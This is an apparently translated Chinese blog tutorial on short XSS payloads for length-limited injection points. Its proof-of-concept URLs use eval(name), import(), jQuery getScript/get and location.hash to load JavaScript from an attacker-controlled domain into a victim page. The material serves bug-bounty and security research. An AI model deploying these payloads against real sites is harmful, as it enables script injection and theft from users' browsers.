XSS有长度限制?试试这几招

栏目: 编程工具 · 发布时间: 5年前

内容简介:在某些情况下,你可以执行JavaScript代码,但是却只能使用alert,因为它对字符输入长度做了限制。我最近看了一篇hackerone的报告,情况完全相同,所以我决定写这篇文章。报告作者能够成功执行任意JavaScript脚本,不过他的payload有些复杂,而且需要用户交互,光凭这一点,就极大的降低了漏洞的严重性,而且毫无疑问,漏洞成效也会大打折扣。我个人认为,更好的POC是从攻击者控制的域中加载外部JavaScript脚本。本文列出了几种调用外部JavaScript脚本的方法,并且使用尽可能少的字

在某些情况下,你可以执行JavaScript代码,但是却只能使用alert,因为它对字符输入长度做了限制。我最近看了一篇hackerone的报告,情况完全相同,所以我决定写这篇文章。报告作者能够成功执行任意JavaScript脚本,不过他的payload有些复杂,而且需要用户交互,光凭这一点,就极大的降低了漏洞的严重性,而且毫无疑问,漏洞成效也会大打折扣。

我个人认为,更好的POC是从攻击者控制的域中加载外部JavaScript脚本。本文列出了几种调用外部JavaScript脚本的方法,并且使用尽可能少的字符。

假如我们的payload输出在href属性内,并且限制输入32个字符。

<a href="<INJECTION>">Click</a>

方法一

eval(name)

这可能是我们可以执行任意JavaScript脚本的最短payload。name属性可以传递任何内容,而且可以跨域。这样一来我们就可以利用了,我们现在就可以没有任何限制的执行我们的payload了,除非网页重写了name属性。

POC如下:

·https://attacker.cm2.pw/?xss=<script>name="d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=<a href="javascript:eval(name)">Click</a>','_self')</script>

payload长度:

'javascript:eval(name)'.length==21

方法二

import

这是另外一种用来加载外部JavaScript脚本的最短的payload,不过仅仅适用于基于chromium内核的浏览器。

POC如下:

·https://victim.cm2.pw/?xss=<a href="javascript:import(/\㎠.㎺/)">Click</a>

payload长度:

'javascript:import(/\㎠.㎺/)'.length==24

方法三

$.getScript

这是一个典型的jQuery函数,用来加载外部JavaScript脚本,该脚本在全局环境下获取和执行,跟在script标签里加载一样。不过,这个方法要求漏洞页面加载了jQuery。

POC如下:

·https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-3.3.1.min.js'></script><a href="javascript:$.getScript(/\cm2.pw/)">Click</a>

payload长度:

'javascript:$.getScript(/\㎠.㎺/)'.length==29

方法四

$.get

这是另外一个jQuery函数,它也是可以加载和执行外部JavaScript脚本的,不过,它需要返回的content-type类型设置为text/javascript。其实,这是jQuery3.0.0版本之前的一个漏洞。

POC如下:

·https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-2.2.4.min.js'></script><a href="javascript:$.get(/\cm2.pw/)">Click</a>

payload长度:

'javascript:$.get(/\㎠.㎺/)'.length==23

方法五

使用现有元素或属性

查找用户部分可控或者完全可控的HTML元素和JavaScript属性是很常见的情况。不过这需要慢慢去找,但在利用长度受限的XSS时也是大有帮助的。例如,大多数采用ajax的应用为了便于导航都会存储hash标志符。但是如果不用来进行导航呢?

如果一个页面存储hash如下:

const hash = document.location.hash;

我们可以利用它来加载外部脚本,像下面这样:

eval("'"+hash)

POC如下:

·https://victim.cm2.pw/?xss=<script>const hash=document.location.hash;</script><a href="javascript:eval(`'`%252bhash)">Click</a>#';d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)

payload长度:

javascript:eval("'"+hash)`.length==25

除了上面的集中方法外,还有很多其他的方法也可以加载外部的JavaScript脚本。比如下面这几种方法,不过我这里没有例子。

· 其他库

·使用不同的选择器

·使用DOM属性,变形(比如image id)

在某些情况下,点击了JavaScript URI时,Firefox会进行导航。为了防止导航,我们需要引入一个错误。因此,有一个方法就是可以在每个payload结尾添加 ;q 这个东西。添加后,payload就像下面这样:

javascript:eval(name);q

//这样做就可以防止导航,因为q未定义

最后,值得注意的是也可以在JavaScript URL上下文环境中使用URL编码,如下:

<a href="javascript:x='%27,alert(1)//">Click</a>

POC如下:

·https://cm2.pw/?xss = <a href="javascript:x='%2527,alert(1)//">点击</a>


以上所述就是小编给大家介绍的《XSS有长度限制?试试这几招》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

硅谷钢铁侠

硅谷钢铁侠

[美] 阿什利·万斯 / 周恒星 / 中信出版集团 / 2016-4 / 68.00元

◎全球首部埃隆•马斯克授权著作!了解埃隆•马斯克最全面、最真实、最经典读本 ◎创业者必读。首次披露马斯克如何建立和运营PayPal、特斯拉、Space X、Solar City等公司的细节。 ◎创新者必读。关于科技、梦想、创业、工作、团队、人生。马斯克首次公开创新的秘密。 ◎故事迷必读。硅谷最优秀科技作家阿什利•万斯历时将近4年,遍访300余人,写就记录马斯克传奇人生的经典著作。......一起来看看 《硅谷钢铁侠》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码